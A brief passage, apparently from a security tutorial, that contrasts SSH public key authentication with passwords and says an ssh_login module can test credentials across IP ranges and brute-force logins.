The caveat to this is that if the private key portion of the key pair is not kept secure, the security of the configuration is thrown right out the window. Using public key authentication for SSH is highly regarded as being far more secure than using usernames and passwords to authenticate.

The ssh_login module is quite versatile in that it can not only test a set of credentials across a range of IP addresses, but it can also perform brute force login attempts.
